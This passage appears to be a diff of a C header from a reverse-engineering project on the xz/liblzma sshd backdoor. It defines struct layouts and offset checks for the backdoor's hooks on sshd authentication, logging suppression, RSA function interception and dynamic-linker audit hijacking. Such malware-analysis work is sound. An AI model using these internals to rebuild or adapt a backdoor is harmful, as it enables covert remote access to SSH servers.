1109 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
-
1110 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
-
1111 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
-
1112 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
-
1113 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
-
1114 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
-
1115 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
-
1116 assert_offset(sshd_ctx_t, writebuf, 0x88);
-
1117 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
-
1118 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
-
1119 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
-
1120 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
-
1121 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
-
1122 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
-
1123 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
-
1124 
-
1125 typedef enum {
-
1126  SYSLOG_LEVEL_QUIET,
-
1127  SYSLOG_LEVEL_FATAL,
-
1128  SYSLOG_LEVEL_ERROR,
-
1129  SYSLOG_LEVEL_INFO,
-
1130  SYSLOG_LEVEL_VERBOSE,
-
1131  SYSLOG_LEVEL_DEBUG1,
-
1132  SYSLOG_LEVEL_DEBUG2,
-
1133  SYSLOG_LEVEL_DEBUG3,
-
1134  SYSLOG_LEVEL_NOT_SET = -1
-
1135 } LogLevel;
-
1136 
-
1137 typedef void (*log_handler_fn)(
-
1138  LogLevel level,
-
1139  int forced,
-
1140  const char *msg,
-
1141  void *ctx);
-
1142 
-
1143 typedef struct __attribute__((packed)) sshd_log_ctx {
-
1144  BOOL logging_disabled;
-
1145  BOOL log_hooking_possible;
-
1146  BOOL syslog_disabled;
-
1147  PADDING(4);
-
1148  char *STR_percent_s;
-
1149  char *STR_Connection_closed_by;
-
1150  char *STR_preauth;
-
1151  char *STR_authenticating;
-
1152  char *STR_user;
-
1153  // Note: initially the two pointers may be swapped around.
-
1154  // sshd_configure_log_hook will ensure they're corrected if needed.
-
1155  void *log_handler_ptr;
-
1156  void *log_handler_ctx_ptr;
-
1157  log_handler_fn orig_log_handler;
-
1158  void *orig_log_handler_ctx;
-
1159  void *sshlogv;
-
1160  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
-
1161 } sshd_log_ctx_t;
-
1162 
-
1163 assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
-
1164 assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
-
1165 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
+
1092  PADDING(sizeof(u32)); // BOOL?
+
1093  int *use_pam_ptr;
+
1094  int *permit_root_login_ptr;
+
1095  char *STR_without_password;
+
1096  char *STR_publickey;
+
1097 } sshd_ctx_t;
+
1098 
+
1099 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
+
1100 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
+
1101 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
+
1102 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
+
1103 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
+
1104 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
+
1105 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+
1106 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+
1107 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
+
1108 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
+
1109 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+
1110 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+
1111 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
+
1112 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
+
1113 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+
1114 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+
1115 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
+
1116 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
+
1117 assert_offset(sshd_ctx_t, writebuf, 0x88);
+
1118 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
+
1119 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
+
1120 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
+
1121 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
+
1122 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
+
1123 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
+
1124 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
+
1125 
+
1126 typedef enum {
+
1127  SYSLOG_LEVEL_QUIET,
+
1128  SYSLOG_LEVEL_FATAL,
+
1129  SYSLOG_LEVEL_ERROR,
+
1130  SYSLOG_LEVEL_INFO,
+
1131  SYSLOG_LEVEL_VERBOSE,
+
1132  SYSLOG_LEVEL_DEBUG1,
+
1133  SYSLOG_LEVEL_DEBUG2,
+
1134  SYSLOG_LEVEL_DEBUG3,
+
1135  SYSLOG_LEVEL_NOT_SET = -1
+
1136 } LogLevel;
+
1137 
+
1138 typedef void (*log_handler_fn)(
+
1139  LogLevel level,
+
1140  int forced,
+
1141  const char *msg,
+
1142  void *ctx);
+
1143 
+
1144 typedef struct __attribute__((packed)) sshd_log_ctx {
+
1145  BOOL logging_disabled;
+
1146  BOOL log_hooking_possible;
+
1147  BOOL syslog_disabled;
+
1148  PADDING(4);
+
1149  char *STR_percent_s;
+
1150  char *STR_Connection_closed_by;
+
1151  char *STR_preauth;
+
1152  char *STR_authenticating;
+
1153  char *STR_user;
+
1154  // Note: initially the two pointers may be swapped around.
+
1155  // sshd_configure_log_hook will ensure they're corrected if needed.
+
1156  void *log_handler_ptr;
+
1157  void *log_handler_ctx_ptr;
+
1158  log_handler_fn orig_log_handler;
+
1159  void *orig_log_handler_ctx;
+
1160  void *sshlogv;
+
1161  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
+
1162 } sshd_log_ctx_t;
+
1163 
+
1164 assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
+
1165 assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
1166 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
-
1167 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
-
1168 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
-
1169 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
-
1170 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
-
1171 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
-
1172 assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
-
1173 assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
-
1174 assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
-
1175 assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
-
1176 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
-
1177 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
-
1178 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
-
1179 
-
1180 typedef union __attribute__((packed)) sshd_offsets_kex {
-
1181  struct __attribute__((packed)) {
-
1182  u8 kex_qword_index;
-
1183  u8 pkex_offset;
-
1184  };
-
1185  u16 value;
-
1186 } sshd_offsets_kex_t;
-
1187 
-
1188 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
-
1189  struct __attribute__((packed)) {
-
1190  u8 sshbuf_data_qword_index;
-
1191  u8 sshbuf_size_qword_index;
-
1192  };
-
1193  u16 value;
-
1194 } sshd_offsets_sshbuf_t;
-
1195 
-
1196 typedef struct __attribute__((packed)) sshd_offsets_fields {
-
1197  sshd_offsets_kex_t kex;
-
1198  sshd_offsets_sshbuf_t sshbuf;
-
1199 } sshd_offsets_fields_t;
-
1200 
-
1201 typedef struct __attribute__((packed)) sshd_offsets {
-
1202  union {
-
1203  struct {
-
1204  union {
-
1205  sshd_offsets_fields_t fields;
-
1206  u32 value;
-
1207  };
-
1208  };
-
1209  u32 raw_value;
-
1210  };
-
1211 } sshd_offsets_t;
-
1212 
-
1213 typedef struct __attribute__((packed)) sshd_payload_ctx {
-
1214 } sshd_payload_ctx_t;
-
1215 
-
1216 typedef struct __attribute__((packed)) global_context {
-
1217  BOOL uses_endbr64;
-
1218  PADDING(4);
-
1222  imported_funcs_t *imported_funcs;
-
1226  libc_imports_t* libc_imports;
-
1236  BOOL disable_backdoor;
-
1237  PADDING(4);
-
1238  sshd_ctx_t *sshd_ctx;
-
1239  struct sensitive_data *sshd_sensitive_data;
-
1240  sshd_log_ctx_t *sshd_log_ctx;
-
1244  char *STR_ssh_rsa_cert_v01_openssh_com;
-
1248  char *STR_rsa_sha2_256;
-
1249  struct monitor **struct_monitor_ptr_address;
-
1250  u32 exit_flag;
-
1251  sshd_offsets_t sshd_offsets;
-
1252 
-
1256  void *sshd_code_start;
-
1260  void *sshd_code_end;
-
1264  void *sshd_data_start;
-
1268  void *sshd_data_end;
-
1269  void *sshd_main;
-
1276  void *lzma_code_start;
-
1283  void *lzma_code_end;
-
1284  u32 uid;
-
1285  PADDING(4);
-
1286  u64 sock_read_buf_size;
-
1287  u8 sock_read_buf[64];
-
1288  u64 payload_data_size;
-
1289  u64 digest_offset;
-
1290  // signed data (size payload_data_size)
-
1291  u8 *payload_data;
-
1292  sshd_payload_ctx_t *sshd_payload_ctx;
-
1293  u32 sshd_host_pubkey_idx;
-
1294  u32 payload_state;
-
1298  u8 secret_data[ED448_KEY_SIZE];
-
1304  u8 shift_operations[31];
-
1308  u32 num_shifted_bits;
-
1309  PADDING(4);
-
1310 } global_context_t;
-
1311 
-
1312 assert_offset(global_context_t, uses_endbr64, 0x0);
-
1313 assert_offset(global_context_t, imported_funcs, 0x8);
-
1314 assert_offset(global_context_t, libc_imports, 0x10);
-
1315 assert_offset(global_context_t, disable_backdoor, 0x18);
-
1316 assert_offset(global_context_t, sshd_ctx, 0x20);
-
1317 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
-
1318 assert_offset(global_context_t, sshd_log_ctx, 0x30);
-
1319 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
-
1320 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
-
1321 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
-
1322 assert_offset(global_context_t, exit_flag, 0x50);
-
1323 assert_offset(global_context_t, sshd_offsets, 0x54);
-
1324 assert_offset(global_context_t, sshd_code_start, 0x58);
-
1325 assert_offset(global_context_t, sshd_code_end, 0x60);
-
1326 assert_offset(global_context_t, sshd_data_start, 0x68);
-
1327 assert_offset(global_context_t, sshd_data_end, 0x70);
-
1328 assert_offset(global_context_t, lzma_code_start, 0x80);
-
1329 assert_offset(global_context_t, lzma_code_end, 0x88);
-
1330 assert_offset(global_context_t, uid, 0x90);
-
1331 assert_offset(global_context_t, sock_read_buf_size, 0x98);
-
1332 assert_offset(global_context_t, sock_read_buf, 0xA0);
-
1333 assert_offset(global_context_t, payload_data_size, 0xE0);
-
1334 assert_offset(global_context_t, digest_offset, 0xE8);
-
1335 assert_offset(global_context_t, payload_data, 0xF0);
-
1336 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
-
1337 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
-
1338 assert_offset(global_context_t, payload_state, 0x104);
-
1339 assert_offset(global_context_t, secret_data, 0x108);
-
1340 assert_offset(global_context_t, shift_operations, 0x141);
-
1341 assert_offset(global_context_t, num_shifted_bits, 0x160);
-
1342 static_assert(sizeof(global_context_t) == 0x168);
-
1343 
-
1344 typedef struct __attribute__((packed)) backdoor_shared_globals {
-
1345  sshd_monitor_func_t mm_answer_authpassword_hook;
-
1349  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
1350  global_context_t **globals;
-
1351 } backdoor_shared_globals_t;
-
1352 
-
1353 assert_offset(backdoor_shared_globals_t, mm_answer_authpassword_hook, 0x0);
-
1354 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
-
1355 assert_offset(backdoor_shared_globals_t, globals, 0x10);
-
1356 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
-
1357 
-
1358 typedef struct __attribute__((packed)) ldso_ctx {
-
1359  PADDING(0x40);
-
1370  u32 *libcrypto_auditstate_bindflags_ptr;
-
1375  u32 libcrypto_auditstate_bindflags_old_value;
-
1376  PADDING(0x4);
-
1387  u32 *sshd_auditstate_bindflags_ptr;
-
1392  u32 sshd_auditstate_bindflags_old_value;
-
1393  PADDING(0x4);
-
1402  void* sshd_link_map_l_audit_any_plt_addr;
-
1409  u8 link_map_l_audit_any_plt_bitmask;
-
1410  PADDING(0x7);
-
1419  struct audit_ifaces **_dl_audit_ptr;
-
1428  unsigned int *_dl_naudit_ptr;
-
1437  struct audit_ifaces hooked_audit_ifaces;
-
1438  PADDING(0x30);
-
1445  char **libcrypto_l_name;
-
1452  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
-
1457  size_t _dl_audit_symbind_alt__size;
-
1462  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1468  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
-
1473  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1474  imported_funcs_t *imported_funcs;
-
1475  u64 hooks_installed;
-
1476 } ldso_ctx_t;
-
1477 
-
1478 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
-
1479 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
-
1480 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
-
1481 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
-
1482 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
-
1483 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
-
1484 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
-
1485 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
-
1486 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
-
1487 static_assert(sizeof(struct audit_ifaces) == 0x48);
-
1488 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
-
1489 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
-
1490 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
-
1491 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
-
1492 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
-
1493 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
-
1494 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
-
1495 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
-
1496 static_assert(sizeof(ldso_ctx_t) == 0x138);
-
1497 
+
1167 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
+
1168 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
+
1169 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
+
1170 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
+
1171 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
+
1172 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
+
1173 assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
+
1174 assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
+
1175 assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
+
1176 assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
+
1177 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
+
1178 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
+
1179 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
+
1180 
+
1181 typedef union __attribute__((packed)) sshd_offsets_kex {
+
1182  struct __attribute__((packed)) {
+
1183  u8 kex_qword_index;
+
1184  u8 pkex_offset;
+
1185  };
+
1186  u16 value;
+
1187 } sshd_offsets_kex_t;
+
1188 
+
1189 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
+
1190  struct __attribute__((packed)) {
+
1191  u8 sshbuf_data_qword_index;
+
1192  u8 sshbuf_size_qword_index;
+
1193  };
+
1194  u16 value;
+
1195 } sshd_offsets_sshbuf_t;
+
1196 
+
1197 typedef struct __attribute__((packed)) sshd_offsets_fields {
+
1198  sshd_offsets_kex_t kex;
+
1199  sshd_offsets_sshbuf_t sshbuf;
+
1200 } sshd_offsets_fields_t;
+
1201 
+
1202 typedef struct __attribute__((packed)) sshd_offsets {
+
1203  union {
+
1204  struct {
+
1205  union {
+
1206  sshd_offsets_fields_t fields;
+
1207  u32 value;
+
1208  };
+
1209  };
+
1210  u32 raw_value;
+
1211  };
+
1212 } sshd_offsets_t;
+
1213 
+
1214 typedef struct __attribute__((packed)) sshd_payload_ctx {
+
1215 } sshd_payload_ctx_t;
+
1216 
+
1217 typedef struct __attribute__((packed)) global_context {
+
1218  BOOL uses_endbr64;
+
1219  PADDING(4);
+
1223  imported_funcs_t *imported_funcs;
+
1227  libc_imports_t* libc_imports;
+
1237  BOOL disable_backdoor;
+
1238  PADDING(4);
+
1239  sshd_ctx_t *sshd_ctx;
+
1240  struct sensitive_data *sshd_sensitive_data;
+
1241  sshd_log_ctx_t *sshd_log_ctx;
+
1245  char *STR_ssh_rsa_cert_v01_openssh_com;
+
1249  char *STR_rsa_sha2_256;
+
1250  struct monitor **struct_monitor_ptr_address;
+
1251  u32 exit_flag;
+
1252  sshd_offsets_t sshd_offsets;
+
1253 
+
1257  void *sshd_code_start;
+
1261  void *sshd_code_end;
+
1265  void *sshd_data_start;
+
1269  void *sshd_data_end;
+
1270  void *sshd_main;
+
1277  void *lzma_code_start;
+
1284  void *lzma_code_end;
+
1285  u32 uid;
+
1286  PADDING(4);
+
1287  u64 sock_read_buf_size;
+
1288  u8 sock_read_buf[64];
+
1289  u64 payload_data_size;
+
1290  u64 digest_offset;
+
1291  // signed data (size payload_data_size)
+
1292  u8 *payload_data;
+
1293  sshd_payload_ctx_t *sshd_payload_ctx;
+
1294  u32 sshd_host_pubkey_idx;
+
1295  u32 payload_state;
+
1299  u8 secret_data[ED448_KEY_SIZE];
+
1305  u8 shift_operations[31];
+
1309  u32 num_shifted_bits;
+
1310  PADDING(4);
+
1311 } global_context_t;
+
1312 
+
1313 assert_offset(global_context_t, uses_endbr64, 0x0);
+
1314 assert_offset(global_context_t, imported_funcs, 0x8);
+
1315 assert_offset(global_context_t, libc_imports, 0x10);
+
1316 assert_offset(global_context_t, disable_backdoor, 0x18);
+
1317 assert_offset(global_context_t, sshd_ctx, 0x20);
+
1318 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
+
1319 assert_offset(global_context_t, sshd_log_ctx, 0x30);
+
1320 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
+
1321 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
+
1322 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
+
1323 assert_offset(global_context_t, exit_flag, 0x50);
+
1324 assert_offset(global_context_t, sshd_offsets, 0x54);
+
1325 assert_offset(global_context_t, sshd_code_start, 0x58);
+
1326 assert_offset(global_context_t, sshd_code_end, 0x60);
+
1327 assert_offset(global_context_t, sshd_data_start, 0x68);
+
1328 assert_offset(global_context_t, sshd_data_end, 0x70);
+
1329 assert_offset(global_context_t, lzma_code_start, 0x80);
+
1330 assert_offset(global_context_t, lzma_code_end, 0x88);
+
1331 assert_offset(global_context_t, uid, 0x90);
+
1332 assert_offset(global_context_t, sock_read_buf_size, 0x98);
+
1333 assert_offset(global_context_t, sock_read_buf, 0xA0);
+
1334 assert_offset(global_context_t, payload_data_size, 0xE0);
+
1335 assert_offset(global_context_t, digest_offset, 0xE8);
+
1336 assert_offset(global_context_t, payload_data, 0xF0);
+
1337 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
+
1338 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
+
1339 assert_offset(global_context_t, payload_state, 0x104);
+
1340 assert_offset(global_context_t, secret_data, 0x108);
+
1341 assert_offset(global_context_t, shift_operations, 0x141);
+
1342 assert_offset(global_context_t, num_shifted_bits, 0x160);
+
1343 static_assert(sizeof(global_context_t) == 0x168);
+
1344 
+
1345 typedef struct __attribute__((packed)) backdoor_shared_globals {
+
1346  sshd_monitor_func_t mm_answer_authpassword_hook;
+
1350  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
1351  global_context_t **globals;
+
1352 } backdoor_shared_globals_t;
+
1353 
+
1354 assert_offset(backdoor_shared_globals_t, mm_answer_authpassword_hook, 0x0);
+
1355 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
+
1356 assert_offset(backdoor_shared_globals_t, globals, 0x10);
+
1357 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
+
1358 
+
1359 typedef struct __attribute__((packed)) ldso_ctx {
+
1360  PADDING(0x40);
+
1371  u32 *libcrypto_auditstate_bindflags_ptr;
+
1376  u32 libcrypto_auditstate_bindflags_old_value;
+
1377  PADDING(0x4);
+
1388  u32 *sshd_auditstate_bindflags_ptr;
+
1393  u32 sshd_auditstate_bindflags_old_value;
+
1394  PADDING(0x4);
+
1403  void* sshd_link_map_l_audit_any_plt_addr;
+
1410  u8 link_map_l_audit_any_plt_bitmask;
+
1411  PADDING(0x7);
+
1420  struct audit_ifaces **_dl_audit_ptr;
+
1429  unsigned int *_dl_naudit_ptr;
+
1438  struct audit_ifaces hooked_audit_ifaces;
+
1439  PADDING(0x30);
+
1446  char **libcrypto_l_name;
+
1453  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
+
1458  size_t _dl_audit_symbind_alt__size;
+
1463  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1469  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
+
1474  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1475  imported_funcs_t *imported_funcs;
+
1476  u64 hooks_installed;
+
1477 } ldso_ctx_t;
+
1478 
+
1479 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+
1480 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+
1481 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+
1482 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+
1483 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+
1484 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+
1485 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
+
1486 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
+
1487 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
1488 static_assert(sizeof(struct audit_ifaces) == 0x48);
+
1489 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
+
1490 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+
1491 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+
1492 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+
1493 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+
1494 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
1495 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
+
1496 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
+
1497 static_assert(sizeof(ldso_ctx_t) == 0x138);
1498 
-
1499 typedef struct __attribute__((packed)) backdoor_hooks_data {
-
1500  ldso_ctx_t ldso_ctx;
-
1501  global_context_t global_ctx;
-
1502  imported_funcs_t imported_funcs;
-
1503  sshd_ctx_t sshd_ctx;
-
1504  libc_imports_t libc_imports;
-
1505  sshd_log_ctx_t sshd_log_ctx;
-
1506  u64 signed_data_size;
-
1507  u8 signed_data;
-
1508 } backdoor_hooks_data_t;
-
1509 
-
1510 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
-
1511 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
-
1512 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
-
1513 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
-
1514 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
-
1515 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
-
1516 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
-
1517 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
-
1518 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
-
1519 
-
1520 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
-
1521  PADDING(0x30);
-
1522  backdoor_shared_globals_t *shared;
-
1523  backdoor_hooks_data_t **hooks_data_addr;
-
1524  uintptr_t (*symbind64)(
-
1525  Elf64_Sym *sym, unsigned int ndx,
-
1526  uptr *refcook, uptr *defcook,
-
1527  unsigned int flags, const char *symname);
-
1528  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
-
1529  pfn_RSA_get0_key_t hook_RSA_get0_key;
-
1530  log_handler_fn mm_log_handler;
-
1531  PADDING(sizeof(void *));
+
1499 
+
1500 typedef struct __attribute__((packed)) backdoor_hooks_data {
+
1501  ldso_ctx_t ldso_ctx;
+
1502  global_context_t global_ctx;
+
1503  imported_funcs_t imported_funcs;
+
1504  sshd_ctx_t sshd_ctx;
+
1505  libc_imports_t libc_imports;
+
1506  sshd_log_ctx_t sshd_log_ctx;
+
1507  u64 signed_data_size;
+
1508  u8 signed_data;
+
1509 } backdoor_hooks_data_t;
+
1510 
+
1511 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
+
1512 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
+
1513 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
+
1514 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
+
1515 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
+
1516 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
+
1517 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
+
1518 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
+
1519 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
+
1520 
+
1521 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
+
1522  PADDING(0x30);
+
1523  backdoor_shared_globals_t *shared;
+
1524  backdoor_hooks_data_t **hooks_data_addr;
+
1525  uintptr_t (*symbind64)(
+
1526  Elf64_Sym *sym, unsigned int ndx,
+
1527  uptr *refcook, uptr *defcook,
+
1528  unsigned int flags, const char *symname);
+
1529  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1530  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1531  log_handler_fn mm_log_handler;
1532  PADDING(sizeof(void *));
-
1533  sshd_monitor_func_t mm_answer_keyallowed;
-
1534  sshd_monitor_func_t mm_answer_keyverify;
-
1535  PADDING(sizeof(void *));
-
1536 } backdoor_hooks_ctx_t;
-
1537 
-
1538 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
-
1539 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
-
1540 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
-
1541 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
-
1542 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
-
1543 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
-
1544 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
-
1545 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
-
1546 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
-
1547 
-
1548 typedef struct __attribute__((packed)) backdoor_setup_params {
-
1549  PADDING(0x8);
-
1550  backdoor_shared_globals_t *shared;
-
1551  backdoor_hooks_ctx_t *hook_params;
-
1552  lzma_check_state dummy_check_state;
-
1553  elf_entry_ctx_t *entry_ctx;
-
1554 } backdoor_setup_params_t;
-
1555 
-
1556 assert_offset(backdoor_setup_params_t, shared, 0x8);
-
1557 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
-
1558 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
-
1559 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
-
1560 
-
1565 typedef struct __attribute__((packed)) elf_handles {
-
1570  elf_info_t *main;
-
1576  elf_info_t *dynamic_linker;
-
1577  elf_info_t *libc;
-
1578  elf_info_t *liblzma;
-
1579  elf_info_t *libcrypto;
-
1580 } elf_handles_t;
-
1581 
-
